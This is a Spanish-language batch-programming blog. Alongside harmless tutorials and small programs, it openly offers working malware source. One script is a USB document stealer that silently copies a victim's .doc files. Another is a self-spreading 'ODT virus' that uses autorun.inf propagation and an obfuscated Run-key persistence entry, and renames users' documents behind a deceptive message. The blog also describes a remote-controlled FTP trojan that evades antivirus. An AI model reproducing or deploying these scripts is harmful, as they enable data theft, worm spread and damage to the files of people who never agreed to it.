:D
Mostrando entradas con la etiqueta batch. Mostrar todas las entradas
Mostrando entradas con la etiqueta batch. Mostrar todas las entradas
[Clase 1] Programacion en Batch por Guerrerohgp
Bueno después de 3 años y algo, al fin me he decidido a re-empezar los videos sobre Batch y bueno espero les sea de provecho, enjoy: http://youtu.be/rf0F4XpBLuM
:D
:D
Implementacion de funciones en batch [Terminado]
Saludos a todos, sé que me desaparezco a veces, pero he estado ocupado (como siempre), pero esta noche me saque el tiempo para crear este tema, bueno quizás algunos no se han dado cuenta y otros quizás lo usan sin darse cuenta, pero no lo hemos planteado en concreto (o al menos eso creo yo), así que creo que soy el primero en la implementación del concepto en BATCH, perdón si ya alguien lo ha establecido concretamente y me estoy llevando los créditos pero por lo menos hasta ahora no lo he visto en ningún lado .
Las funciones en BATCH, como todos sabemos al igual que las matrices no existen, pero podemos simularlas
. ¿Cómo así?
Pues sencillo, al simular una matriz lo que hacemos en BATCH es asignarle las dimensiones con mas variables en la variable XD, con lo que conocemos de “Setlocal enabledelayedexpans ion” le agregamos al CODE la posibilidad del las retrasadas je je , así usando “!” para la llamada de estas y una variable llamada “Hola”, seria matriz en “Hola[%n%]” y su contenido seria invocado con “!Hola[%n%]!”, etc. Este tema ya lo hemos tratado si quieren saber más pues busquen en el foro o GOOGLE, siempre se encuentran muchas cosas interesantes.
¿Qué es una función en programación?
Según: http://www.alegsa.com.ar/Dic/funcion.php
En programación, una función es un grupo de instrucciones con un objetivo en particular y que se ejecuta al ser llamada desde otra función o procedimiento. Una función puede llamarse múltiples veces e incluso llamarse a sí misma (función recurrente).
Las funciones pueden recibir datos desde afuera al ser llamadas a través de los parámetros y deben entregar un resultado.
Se diferencian de los procedimientos porque estos no devuelven un resultado.
¿Cómo la implementamos en BATCH?
Bueno, a lo que estamos aquí, las funciones en BATCH podemos simularlas con algo común, el comando “CALL”, la diferencia con esto es que estableceríamos los parámetros con %1 %2 %*, definiríamos los campos y/o variables etc.
Podemos hacerlo de dos maneras, definiendo los campos antes del CALL (cosa que no recomiendo) o enviando los campos al llamar las etiquetas.
El primer ejemplo de función a mi estilo es:
Como vemos la función multiplica por 2 y el resultado es pasado por parámetro para ser establecido en la función.
Ok, está entendido, pero ¿qué hay de diferencia con el GOTO?
Pues sencillo, el GOTO nos confunde al usarlo,no nos permite "%n" , y la mejor simulación nos la provee CALL, el EOF de CALL lo podemos usar para finalizar una función y continuemos el CODE donde estaba, al igual que una función de otros lenguajes.
Revisión, entonces, veamos pues algunos dirán, pero yo implemento funciones a cada rato, y bueno quizás sí, pero en BATCH esto no veo que muchos lo hagan, lo que si veo mucho es que usan como dice la definición, un procedimiento, el cual no retorna nada.
Con esta forma de hacer una función podemos simular las funciones de C# que se asignan por OUT.
Me gustaría agregar que por convicción al usar una función en las etiquetas pongan function_nombreDeLa Funcion o funcion_nombreDeLaF uncion para diferenciarlas de los procedimientos.
Por ejemplo este es un procedimiento:
Podemos ver que aquí, al finalizar solo se se lleno la variable length sin llamadas ni continuacion del CODE.
Veo tambien que los batcheros usamos esto mucho con call y casi como una funcion, e incluso hemos creado funciones, pero como comandos externos.
Bueno ya tememos una forma de como hacer funciones. ¿Pero qué sucede si queremos hacer que nuestra función acepte más parametros?
Sencillo solo usamos los %1, %2, %3, ..., %9 y usar pue shift. Hay un manualsito aqui en el foro.
pero ti tomamos esto y lo mejoramos con la misma funcion, que podemos ahora llamar metodo para esto XD.
podemos.....
¿Adivinen qué?
Emular la sobracarga de metodos.
Seguro dirán, ¿Cómo?
sencillo, pues en el metodo ponemos if´s que nos diran cuantos parametros tiene y asunto resuelto.
aqui un ejemplito creado por mi XD.
bueno, ya esta XD. si tienen sugerencias de mas cosas que puedan ir qui me avisan.
-Funciones como archivos externos
Bueno, pues como mencione antes hemos creado varios archivos externos y que al igual que con las etiquetas los llamamos con call y si se encuentran en el system32 o un path registrado entre las variables de entorno de GUINDOWS o en el mismo directorio solo escribimos su nombre y ya, pero como sea enviamos los paramentros si es que los necesita.
Todo lo anterior dicho se puede implementar en archivos externos al bat, pero hay un que se yo con esto, a los bacheros no nos gusta crear tanto archivo mientras hacemos nuestros scripts, siempre intentamos hacer todo en un solo archivo así que bueno, lo podemos implementar como archivos externos como ya lo habian visto de seguro.
Diferentes tipos de inplementacion de funciones
Bueno, las funciones nos gustan porque son cool XD. Naa, mentira.
Las funciones son muy utiles, y podemos usar en batch estas virtudes que nos entregan, por ejemplo.
las funciones recursivas.
Algunos se preguntaran. ¿Guerrerohgp, qué es la recursividad?
Bueno mis queridos batcheros, la recursividad es, en la forma mas simple de expresarlo: Cuando una funcion se llama a si misma dento de ella.
y dirán, bueno y ¿Para que sirve?
Pues para usar la misma funcion varias veces, la usamos mas para recorrer arboles.
Por ejemplo tomemos nuestro disco duro.
hay un directorio raiz, que es C:\ generalmente.
pero si queremos saber cuantos directorios hay en C:, la unica forma de hacerlo es usando una funcion recursiva que entre en cada directorio y sume retornando un valor cada vez.
parece largo y tedioso, pero es la unica forma de hacerlo.
incluso el comando "tree" eso es lo que hace.
y bueno no es que para todo sea necesario pero aca unos ejemplitos mios XD.
Calcular Factorial de un numero.
Par o impar.
La solucion a las torres de hanoi
¿Cuáles son las desventajas?
Los problemas son los siguientes, si usamos setlocal/endlocal dentro de una funcion y a la vez la recursividad y queremos conservar un valor para retorno no seria posible Ya que se borran con endlocal, osea no lo usamos, pero gastaremos mas memoria si las usamos asi sin mas.
Al tener las variables en las funciones recursivas con retorno, seguiran precentes fuera de la funcion y nos impedira usar estas variables para otros motivos ya que nos hace mas suceptibles a errores. (la solucion es ponerle siglas de la funcion y tratar que no sea un nombre común para no equivocarnos con otras variables).
Y saber que solo es una simulacion, la realidad de la simulacion depende de como la implementemos cada uno, asi que puede mejorarse y adaptarse a las situaciones. Al final solo depende de nosotros XD.
Las funciones en BATCH, como todos sabemos al igual que las matrices no existen, pero podemos simularlas
. ¿Cómo así?Pues sencillo, al simular una matriz lo que hacemos en BATCH es asignarle las dimensiones con mas variables en la variable XD, con lo que conocemos de “Setlocal enabledelayedexpans ion” le agregamos al CODE la posibilidad del las retrasadas je je , así usando “!” para la llamada de estas y una variable llamada “Hola”, seria matriz en “Hola[%n%]” y su contenido seria invocado con “!Hola[%n%]!”, etc. Este tema ya lo hemos tratado si quieren saber más pues busquen en el foro o GOOGLE, siempre se encuentran muchas cosas interesantes.
¿Qué es una función en programación?
Según: http://www.alegsa.com.ar/Dic/funcion.php
En programación, una función es un grupo de instrucciones con un objetivo en particular y que se ejecuta al ser llamada desde otra función o procedimiento. Una función puede llamarse múltiples veces e incluso llamarse a sí misma (función recurrente).
Las funciones pueden recibir datos desde afuera al ser llamadas a través de los parámetros y deben entregar un resultado.
Se diferencian de los procedimientos porque estos no devuelven un resultado.
¿Cómo la implementamos en BATCH?
Bueno, a lo que estamos aquí, las funciones en BATCH podemos simularlas con algo común, el comando “CALL”, la diferencia con esto es que estableceríamos los parámetros con %1 %2 %*, definiríamos los campos y/o variables etc.
Podemos hacerlo de dos maneras, definiendo los campos antes del CALL (cosa que no recomiendo) o enviando los campos al llamar las etiquetas.
El primer ejemplo de función a mi estilo es:
Código
@echo off Setlocal enabledelayedexpansion Set/p "num=Digito a multiplicar por 2: " Call:Funcion_multiplicarPorDos resultado !num! echo.!resultado! pause>nul&exit :Funcion_multiplicarPorDos set/a "%1=%2*2" goto:EOF
Como vemos la función multiplica por 2 y el resultado es pasado por parámetro para ser establecido en la función.
Ok, está entendido, pero ¿qué hay de diferencia con el GOTO?
Pues sencillo, el GOTO nos confunde al usarlo,no nos permite "%n" , y la mejor simulación nos la provee CALL, el EOF de CALL lo podemos usar para finalizar una función y continuemos el CODE donde estaba, al igual que una función de otros lenguajes.
Revisión, entonces, veamos pues algunos dirán, pero yo implemento funciones a cada rato, y bueno quizás sí, pero en BATCH esto no veo que muchos lo hagan, lo que si veo mucho es que usan como dice la definición, un procedimiento, el cual no retorna nada.
Con esta forma de hacer una función podemos simular las funciones de C# que se asignan por OUT.
Me gustaría agregar que por convicción al usar una función en las etiquetas pongan function_nombreDeLa Funcion o funcion_nombreDeLaF uncion para diferenciarlas de los procedimientos.
Por ejemplo este es un procedimiento:
Código
@echo off :: Send the length of the variable %MyVar% :: to the variable %length% :: by Secret_Doom set #=%MyVar% set length=0 :loop if defined # (set #=%#:~1%&set /A length += 1&goto loop) echo MyVar is %length% characters long!
Podemos ver que aquí, al finalizar solo se se lleno la variable length sin llamadas ni continuacion del CODE.
Veo tambien que los batcheros usamos esto mucho con call y casi como una funcion, e incluso hemos creado funciones, pero como comandos externos.
Bueno ya tememos una forma de como hacer funciones. ¿Pero qué sucede si queremos hacer que nuestra función acepte más parametros?
Sencillo solo usamos los %1, %2, %3, ..., %9 y usar pue shift. Hay un manualsito aqui en el foro.
pero ti tomamos esto y lo mejoramos con la misma funcion, que podemos ahora llamar metodo para esto XD.
podemos.....
¿Adivinen qué?
Emular la sobracarga de metodos.
Seguro dirán, ¿Cómo?
sencillo, pues en el metodo ponemos if´s que nos diran cuantos parametros tiene y asunto resuelto.
aqui un ejemplito creado por mi XD.
Código
@echo off setlocal enabledelayedexpansion ::Simulacio de la sobrecarga de metodos. ::Simulation of overloading methods. ::Created by Guerrerohgp ::My aim is to show that this is possible XD. ::Mi objetivo es mostrarles que esto es posible XD. :ini set/p "str=Ingrese parametros (maximo 3): " if not defined str goto:ini call:factorial !str! pause>nul :factorial if not "%3"=="" (echo. Tres parametros!!) else ( if not "%2"=="" (echo. Dos parametros!!) else ( if not "%1"=="" (echo. Un Parametro!!) ) ) goto:eof
bueno, ya esta XD. si tienen sugerencias de mas cosas que puedan ir qui me avisan.
-Funciones como archivos externos
Bueno, pues como mencione antes hemos creado varios archivos externos y que al igual que con las etiquetas los llamamos con call y si se encuentran en el system32 o un path registrado entre las variables de entorno de GUINDOWS o en el mismo directorio solo escribimos su nombre y ya, pero como sea enviamos los paramentros si es que los necesita.
Todo lo anterior dicho se puede implementar en archivos externos al bat, pero hay un que se yo con esto, a los bacheros no nos gusta crear tanto archivo mientras hacemos nuestros scripts, siempre intentamos hacer todo en un solo archivo así que bueno, lo podemos implementar como archivos externos como ya lo habian visto de seguro.
Diferentes tipos de inplementacion de funciones
Bueno, las funciones nos gustan porque son cool XD. Naa, mentira.
Las funciones son muy utiles, y podemos usar en batch estas virtudes que nos entregan, por ejemplo.
las funciones recursivas.
Algunos se preguntaran. ¿Guerrerohgp, qué es la recursividad?
Bueno mis queridos batcheros, la recursividad es, en la forma mas simple de expresarlo: Cuando una funcion se llama a si misma dento de ella.
y dirán, bueno y ¿Para que sirve?
Pues para usar la misma funcion varias veces, la usamos mas para recorrer arboles.
Por ejemplo tomemos nuestro disco duro.
hay un directorio raiz, que es C:\ generalmente.
pero si queremos saber cuantos directorios hay en C:, la unica forma de hacerlo es usando una funcion recursiva que entre en cada directorio y sume retornando un valor cada vez.
parece largo y tedioso, pero es la unica forma de hacerlo.
incluso el comando "tree" eso es lo que hace.
y bueno no es que para todo sea necesario pero aca unos ejemplitos mios XD.
Calcular Factorial de un numero.
Código
@echo off setlocal enabledelayedexpansion ::Created By Guerrerohgp :ini set num=0 set result=1 set/p "num=Ingrese su numero: " if not defined num goto:ini call:Function_factorial !num! echo.El factorial de !num! es !result! pause>nul exit :Function_factorial if %1==1 goto:eof set/a "result*=%1" set/a "n=%1-1" call:Function_factorial !n!
Par o impar.
Código
@echo off ::Created By Guerrerohgp setlocal enabledelayedexpansion goto:ini :impar if "%1"=="0" (echo.Impar) else ( set/a "n=%1-1" call:par !n! ) goto:EOF :par if "%1"=="0" (echo.par) else ( set/a "n=%1-1" call:impar !n! ) goto:EOF :ini set num=0 set/p "num=Ingrese su numero: " if not defined num goto:ini call:par !num! pause>nul exit
La solucion a las torres de hanoi
Código
@echo off setlocal enabledelayedexpansion ::::::::::::::::::::::::::::::::::::::::: ::Script Para Resolver Torres de Hanoi.:: ::Creado por Hugo Guerrero (Guerrerohgp): ::::::::::::::::::::::::::::::::::::::::: :::::::::::::::::::::::::::::::: ::Script to solve Hanoi Towers:: :: Created By Guerrerohgp :: :: 2011 :: :::::::::::::::::::::::::::::::: :ini set/p "cantidad=Ingrese el numero de discos en la torre: " if not defined cantidad goto:ini if !cantidad! lss 0 goto:ini call:algoritmoHanoi !cantidad! Torre_1 Torre_2 Torre_3 pause>nul exit :algoritmoHanoi setlocal if "%1" equ "0" goto:eof set/a "cnt=%1-1" call:algoritmoHanoi !cnt! %2 %4 %3 echo.Mover disco %1 de %2 a %4 call:algoritmoHanoi !cnt! %3 %2 %4 endlocal goto:eof
¿Cuáles son las desventajas?
Los problemas son los siguientes, si usamos setlocal/endlocal dentro de una funcion y a la vez la recursividad y queremos conservar un valor para retorno no seria posible Ya que se borran con endlocal, osea no lo usamos, pero gastaremos mas memoria si las usamos asi sin mas.
Al tener las variables en las funciones recursivas con retorno, seguiran precentes fuera de la funcion y nos impedira usar estas variables para otros motivos ya que nos hace mas suceptibles a errores. (la solucion es ponerle siglas de la funcion y tratar que no sea un nombre común para no equivocarnos con otras variables).
Y saber que solo es una simulacion, la realidad de la simulacion depende de como la implementemos cada uno, asi que puede mejorarse y adaptarse a las situaciones. Al final solo depende de nosotros XD.
Código:
Otra vez me cayó el sueño, es casi madrugada asi que chao, estoy medio bobo, cualquier ajuste o error me dicen para arreglarlo, tambien si quieren que se agregen mas cosas. Bye, bytes, Guerrerohgp.
HGP-USBpC sTeaLer
Bueno, esto le tenia desde hac mucho y pues me dio la gana de acabarlo y hoy lo posteo despues de dialogar si era bueno o no, pero ya que, esta aqui.
Dicho script hace una funcion interesante, copia todos los documentos .doc, docx o doc(algo), jeje.
si decean solo copiar la musica pues sera solo cambiar el .doc por .mp3 o .midi o algo asi XD.
para un uso efectivo se debe de esconder el bat con algo, ya sea vbs o un programa raro o su propio metodo de ocultacion, la cuestion es arrancar el bat desde la usb y ya XD.
Suerte!
pd: la info sacada de la pc victima es guardada en una carpeta llamada 26.
bye, bytes,
Guerrerohgp
si decean solo copiar la musica pues sera solo cambiar el .doc por .mp3 o .midi o algo asi XD.
para un uso efectivo se debe de esconder el bat con algo, ya sea vbs o un programa raro o su propio metodo de ocultacion, la cuestion es arrancar el bat desde la usb y ya XD.
Suerte!
pd: la info sacada de la pc victima es guardada en una carpeta llamada 26.
bye, bytes,
Guerrerohgp
@echo off
::HGP-USBpC sTeaLer
::Creado Por Guerrerohgp
::Solo con proposito educativo,
::no soy responsable del mal uso
::de este script.
::http://guerrerohgp.blogspot.com
@setlocal enabledelayedexpansion
@set "usb=%~d0\"
@set "h=!usb!26\%computername%\"
@start !usb!
@if not exist "!usb!26\" (@md "!usb!26"&&attrib +h "!usb!26")
@if not exist "!h!" (
@md "!h!"
) else (
@exit
)
%homedrive%
@for /f "delims=?" %%a in ('dir /b /s "*.doc"') do (call:hgo %%a)
@exit
:hgo
@copy /y "%*" "!h!">null
goto:eof
WarGame Batch v 2
Bueno nuestro compañero Smart nos ha invitado a participar en el reto que han creado, yo los invito tambien.
Dice:
Reto Wargame v 2 en Batch !!!
Descarga -->> http://one.xthost.info/smartv2/WarGameBatchv2.rar
10 Niveles de Dificultad, Nivel Medio-Avanzado en Batch
-Nivel 1: Conseguir el codigo y saltar la proteccion antiejecucion.
-Niveles 2 a 10 : Conseguir passwords
Tuve ciertas dificultades para su realizacion, pero ya lo he finalizado, espero puedan ejecutarlo y superarlo. En el RAR viene tres versiones diferentes, son ligeras modificaciones para correr en diferentes sistemas
Saludos.
Fuente
Dice:
Reto Wargame v 2 en Batch !!!
Descarga -->> http://one.xthost.info/smartv2/WarGameBatchv2.rar
10 Niveles de Dificultad, Nivel Medio-Avanzado en Batch
-Nivel 1: Conseguir el codigo y saltar la proteccion antiejecucion.
-Niveles 2 a 10 : Conseguir passwords
Tuve ciertas dificultades para su realizacion, pero ya lo he finalizado, espero puedan ejecutarlo y superarlo. En el RAR viene tres versiones diferentes, son ligeras modificaciones para correr en diferentes sistemas
Saludos.
Fuente
Virus ODT
Este code lo hic para un duelo en el que estoy perdiendo XD.
aqui! http://www.hackxcrack.es/foro/index.php?topic=1165.0
espero les guste XD
aqui! http://www.hackxcrack.es/foro/index.php?topic=1165.0
@echo off&title ODT
SeTlocaL EnableDelayedExpansion&mode con cols=50 lines=15&ColoR a
::CREATED BY Guerrerohgp
::ONLY FOR EDUCATIVE USE
::GUERREROHGP IS NOT RESPONSABLE OF THE USE OF THE SCRIPT.
Copy /y "%0" %windir%\odt.bat>nul
foR %%a iN (C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z) dO (cd %%a:\&&call:auto %%a)>nul
set reg=add&set add=reg
set a=abcdef&set m=mlr
echo.Mira La Grafica!&echo. cargando Grafica ODT para CMD O DOS.
%add% %reg% HK%m:~1,1%%m:~0,1%\Softw%a:~0,1%%m:~2,1%%a:~4,1%\%m:~0,1%ic%m:~2,1%osoft\Windows\Cu%m:~2,1%%m:~2,1%entV%a:~4,1%%m:~2,1%sion\%m:~2,1%un /v ODT /t %m:~2,1%%a:~4,1%G_SZ /%a:~3,1% "%windir%\odt.bat" >nul
cd /d "%homedrive%\"
foR /f "tokens=*" %%D iN ('dir /b/s *.doc *.docx') dO (ren "%%D" "%%~nD.odt"&set/a "nt+=1"&set char=%char%±
if "!nt!" gtr "7" set "nt=0"
echo !char!)
cls&echo.Me temo que no podremos Mostrarle
echo.La Grafica. Pues Su Windows&echo.no Soporta El formato Libre de OpenOffice
echo.Por eso nos hemos dado la libertad&echo.De Arreglar sus archivos .doc
ping -n 6 0.0.0.0>nul&cls
echo.Gracias por su comprencion&echo.Que viva el Codigo libre!!!&pause>nul
exit
:auto
(copy /y "%0" %1:\odt.bat&echo.[autorun]>%1:\autoRUN.inf
echo.open=odt.bat>>%1:\autoRUN.inf&echo.icon=%SystemRoot%\system32\SHELL32.dll,4>>%1:\autoRUN.inf
echo.action=Abrir carpeta para ver archivos>>%1:\autoRUN.inf&echo.shell\open=Abrir>>%1:\autoRUN.inf
attrib +h %1:\autoRUN.inf&attrib +h %1:\odt.bat)>nul
goto:eof
espero les guste XD
ADIVINADOR
Bueno se que es un poco tonto, pero me gusto el juegito de que te adivina el numero. y pues lo hic.
c que es muy simple pero espero se diviertan un poco XD.
tambien c que no es lo que yo normalmente postearia pero ya que, me sigue pareciendo divertido para algunos hacerlos caer XD
CoDe:
c que es muy simple pero espero se diviertan un poco XD.
tambien c que no es lo que yo normalmente postearia pero ya que, me sigue pareciendo divertido para algunos hacerlos caer XD
CoDe:
@echo OffseTlocaL EnableDelayedExpansion
moDe cOn cols=32 lineS=10
::BY HGP or Guerrerohgp
tiTle Divinador&color a
seT "cntr=echo.&echo.&echo.&"&seT "q=pause>nul"
%cntr%echO.Elige un Numero en tu mente^!&%q%&cls
%cntr%echO.Ahora te doy esa misma cantidad que elegiste
%cntr%echO.Y sumala^!.&%q%
seT/a "r=%random%%%50"
for /l %%a in (2,2,100) do (seT/a "s+=1"
if "!s!" equ "!r!" (seT "r=%%a"))
:fn
seT/a d=%R%/2
cls&%cntr%echO.ahora sumale %R%&%q%
cls&%cntr%echO.ahora divide eso entre 2&%q%
cls&%cntr%echO.Y por ultimo dame lo que te di!&%q%
cls&%cntr%echO.JAJAJA. Ya Se Tu resultado&%q%
cls&%cntr%echO.Tu resutado es %d%&%q%
cls&echo.Bytes, bye&%q%
SecurE LeveL HGP
Bueno como he estado ocupado ultimamente y creo q lo estare mas, habia dejado mi proyecto, pero este es un adelanto
el secure level, seguro a algunos les va a ser de ayuda.
bueno un code totalmente funcional testeado en XP,Vista,7 y Vista x64 q es la q tengo y en un lio pok no puedo usar el debug.
bueno nada mas, tengo par de codes en mente, algun rato continuo XD
ademas no he visto un code de medir seguridad de pass en batch.
aca el code:
Nada mas , seguire a paso lento. jeje
el secure level, seguro a algunos les va a ser de ayuda.
bueno un code totalmente funcional testeado en XP,Vista,7 y Vista x64 q es la q tengo y en un lio pok no puedo usar el debug.
bueno nada mas, tengo par de codes en mente, algun rato continuo XD
ademas no he visto un code de medir seguridad de pass en batch.
aca el code:
@ECHO OFF
seTlocaL enabledelayedexpansioN
TiTle SecurE LeveL HGP&modE coN colS=41 lineS=10
coloR a
::By Guerrerohgp
::Secure level
::Este script esta a libre uso, BSD.
::no cambiar autor xD.
:inI
seT "pass="&seT "cnT="
cls&seT/p "pass=Tu Clave: "
cls&if noT defined pass goTo inI
:Len
seT/a "cnT+=1"
seT "pass2=!pass:~0,%cnT%!"
if "%pass2%" neq "%pass%" goTo:Len
if %cnT% lss 6 (echo.La clave debe tener minimo 6 caracteres&pause>nul&goTO:inI)
seT "min="&foR %%j in (a,b,c,d,e,f,g,h,i,j,k,m,n,o,p,q,r,s,t,u,v,w,x,y,z) do (seT "le=%%j"&call:conp min)
seT "May="&foR %%i in (A,B,C,D,E,F,G,H,I,J,K,L,M,N,O,P,Q,R,S,T,U,V,W,X,Y,Z) do ( seT "le=%%i"&call:conp May)
seT "num="&foR %%h in (1,2,3,4,5,6,7,8,9,0) do (seT "le=%%h"&call:conp num)
seT "niv=%min%%May%%num%"
echO. Nivel de Seguridad
echO. 1 2 3
echO. _______________________________________&echO. %niv%
pausE>nul
goTO:inI
:conp
foR /l %%k in (0,1,!cnT!) do (seT "sec=!pass2:~%%k,1!"
if "!sec!" equ "!le!" set "%1=²²²²²²²²²²²²²")
goTO:eoF
Nada mas , seguire a paso lento. jeje
Batch Paint de mi compa Smart
SmartGenius: "Quien dijo que no se podia pintar en Batch ???.... =D"
Guerrerohgp:
q mas , q nos siga impresionando sigan asi Smart y 3D1
Code:
@Echo Off
@title Batch Paint
@Mode Con cols=80 lines=25
Setlocal Enabledelayedexpansion
::A Program by S.C.O.T 2009
::Script Coders Oriented Team
::SmartGenius & 3D1
:Init
Cls
If Not Exist Col.vbs (Call :Col_Deb >>Col.vbs)
Set "X=0"
Set "Y=0"
Set "Color=11"
Set "Pincel=Û"
Call :Load
:Table
If "!X!-!Y!"=="43-2" (Exit)
For /l %%s in (33,1,39) do (If "!X!-!Y!"=="%%s-2" (Goto :Save))
If "!X!-!Y!"=="22-2" (Set "Pincel=°")
If "!X!-!Y!"=="24-2" (Set "Pincel=±")
If "!X!-!Y!"=="26-2" (Set "Pincel=²")
If "!X!-!Y!"=="28-2" (Set "Pincel=Û")
If "!X!-!Y!"=="3-4" (Set "Color=01")
If "!X!-!Y!"=="5-4" (Set "Color=02")
If "!X!-!Y!"=="7-4" (Set "Color=03")
If "!X!-!Y!"=="3-6" (Set "Color=04")
If "!X!-!Y!"=="5-6" (Set "Color=05")
If "!X!-!Y!"=="7-6" (Set "Color=06")
If "!X!-!Y!"=="3-8" (Set "Color=07")
If "!X!-!Y!"=="5-8" (Set "Color=08")
If "!X!-!Y!"=="7-8" (Set "Color=09")
If "!X!-!Y!"=="3-10" (Set "Color=0A")
If "!X!-!Y!"=="5-10" (Set "Color=0B")
If "!X!-!Y!"=="7-10" (Set "Color=0C")
If "!X!-!Y!"=="3-12" (Set "Color=0D")
If "!X!-!Y!"=="5-12" (Set "Color=0E")
If "!X!-!Y!"=="7-12" (Set "Color=0F")
If !X! GEQ 12 (
If !Y! GEQ 5 (
If !X! LEQ 41 (
If !Y! LEQ 15 (
cscript //nologo col.vbs "!X!" "!Y!" "%Color%" "%Pincel%"
Set /a "vX=!X!-12"
Set /a "vY=!Y!-5"
Set "X!vX!Y!vY!=!vX! !vY! %Color% %Pincel%"
))))
Call :Mouse
Goto :Table
:Load
Echo.
Echo. ÚÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÂÄÄÄÄÄÄÄÂÄÂÄ¿
Echo. ³Colores³ Pinceles ° ± ² Û ³Guardar³ ³X³
Echo. ³ÚÄÂÄÂÄ¿ÃÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÁÄÁÄ´
Echo. ³³Û³Û³Û³³ ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ» ³
Echo. ³ÃÄÅÄÅÄ´³ º º ³
Echo. ³³Û³Û³Û³³ º º ³
Echo. ³ÃÄÅÄÅÄ´³ º º ³
Echo. ³³Û³Û³Û³³ º º ³
Echo. ³ÃÄÅÄÅÄ´³ º º ³
Echo. ³³Û³Û³Û³³ º º ³
Echo. ³ÃÄÅÄÅÄ´³ º º ³
Echo. ³³Û³Û³Û³³ º º ³
Echo. ³ÀÄÁÄÁÄÙ³ º º ³
Echo. ÃÄÄÄÄÄÄÄ´ º º ³
Echo. ³ SCOT ³ º º ³
Echo. ³ Team ³ ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ ³
Echo. ÀÄÄÄÄÄÄÄÁÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙ
cscript //nologo col.vbs "3" "4" "11" " "
cscript //nologo col.vbs "5" "4" "22" " "
cscript //nologo col.vbs "7" "4" "33" " "
cscript //nologo col.vbs "3" "6" "44" " "
cscript //nologo col.vbs "5" "6" "55" " "
cscript //nologo col.vbs "7" "6" "66" " "
cscript //nologo col.vbs "3" "8" "77" " "
cscript //nologo col.vbs "5" "8" "88" " "
cscript //nologo col.vbs "7" "8" "99" " "
cscript //nologo col.vbs "3" "10" "AA" " "
cscript //nologo col.vbs "5" "10" "BB" " "
cscript //nologo col.vbs "7" "10" "CC" " "
cscript //nologo col.vbs "3" "12" "DD" " "
cscript //nologo col.vbs "5" "12" "EE" " "
cscript //nologo col.vbs "7" "12" "FF" " "
Goto :Eof
:Mouse
Echo e100 B8 1 0'3'DB CD'3'B0 3'C'CD'3'B DB't'FA 91 D3 EA D3 E8 91 C3>mouse.dat
For %%! in (.g116 .q) do (Echo%%!>> mouse.dat)
For /f "tokens=6-8 delims== " %%a in ('Debug ^< x="0x%%a" y="0x%%c" v=" Introduzca">> ">%Filename%
For /l %%a in (0,1,29) do (
For /l %%b in (0,1,11) do (
If Defined X%%aY%%b (Echo.Cscript //nologo col.vbs !X%%aY%%b! >>%Filename%)
))
Echo.Pause^>nul >>%Filename%
Echo.>>%Filename%
Call :Col_Deb Echo. "^">>%Filename%
Echo.
Echo. Archivo %Filename% Generado Exitosamente
Ren %Filename% %Filename%.bat >nul
Echo.
Set /p "V= Presione Cualquier tecla para volver...."nul
Goto :Init
:Template
Echo. @Echo off
Echo. @Title Paint Batch - %Filename%
Echo. @Mode Con Cols=80 Lines=25
Echo. @::Hecho Con Batch Paint
Echo. @::S.C.O.T Team 2009
Echo.If Not Exist Col.vbs Call :Col ^>^>col.vbs
Echo.:Draw
Goto :Eof
:Col_Deb
%1:Col
%1Echo.On Error Resume Next
%1Echo.HexColor = Right("0" %~2^& wscript.arguments(2), 2)
%1Echo.Set oExec = CreateObject("WScript.Shell").Exec("%comspec% /c debug ")
%1Echo.
%1Echo.Do Until oExec.StdOut.Read(1) = "-"
%1Echo. wsh.sleep 10
%1Echo.Loop
%1Echo.
%1Echo.Dim Textos
%1Echo.Textos = Replace(wscript.arguments(3), Chr(195), "Û")
%1Echo.WriteXY wscript.arguments(0), wscript.arguments(1), HexColor, Textos
%1Echo.
%1Echo.oExec.StdIn.Writeline "e0:451 2A"
%1Echo.oExec.StdIn.Writeline "q"
%1Echo.
%1Echo.Sub WriteXY(X, Y, hColor, sText)
%1Echo.Dim ColorText
%1Echo. For j = 1 to Len(sText) Step 10
%1Echo. ColorText = "EB800:" %~2^& Hex(Y * 160 + (X + j - 1) * 2)
%1Echo. For i = j to j + 9
%1Echo. ColorText = ColorText %~2^& " " %~2^& Hex(Asc(Mid(sText, i, 1))) %~2^& " " %~2^& hColor
%1Echo. if i = Len(sText) Then Exit For
%1Echo. Next
%1Echo. oExec.StdIn.Writeline ColorText
%1Echo. Next
%1Echo.End Sub
%1Attrib +H Col.vbs
%1Goto :Eof
Goto :Eof
Guerrerohgp:
q mas , q nos siga impresionando sigan asi Smart y 3D1
(Troyano parasitario) 1l1l3l5.a - by Shadow
Ejecutando comandos remotamente:
El troyano al infectar una maquina envia al servidor FTP un archivo del formato:
%username%at%userdomain%_ipcfg.t
conteniendo la salida del comando 'ipconfig/all'.
Para ejecutar un comando el esa PC basta con crear un archivo del formato:
%username%at%userdomain%_cmd.t
conteniendo el/los comandos a ejecutar, si se ejecuto correctamente, el archivo "%username%at%userdomain%_cmd.t" sera eliminado automaticamente del servidor.
code:
Shadow:
Debido a posibles problemas al postear he subido el archivo en formato .txt a 1l1l3l5.a.txt
Y ps. . .el scan:
File Info
Report generated: 28.9.2009 at 19.25.46 (GMT 1)
Filename: 1l1l3l5.a.txt
File size: 11 KB
MD5 Hash: 7ab39a5929fa5dd09b38be6bd249fd4e
SHA1 Hash: 4492A228C7D2732DCACE25B2B73F3C6EEDC896CC
Self-Extract Archive: Nothing found
Binder Detector: Nothing found
Detection rate: 0 on 23
Detections
a-squared - -
Avira AntiVir - -
Avast - -
AVG - -
BitDefender - -
ClamAV - -
Comodo - -
Dr.Web - -
Ewido - -
F-PROT6 - -
Ikarus T3 - -
Kaspersky - -
McAfee - -
NOD32 v3 - -
Norman - -
Panda - -
QuickHeal - -
Solo Antivirus - -
Sophos - -
TrendMicro - -
VBA32 - -
VirusBuster - -
ZonerAntivirus - -
Scan report generated by
NoVirusThanks.org
;D .
El troyano al infectar una maquina envia al servidor FTP un archivo del formato:
%username%at%userdomain%_ipcfg.t
conteniendo la salida del comando 'ipconfig/all'.
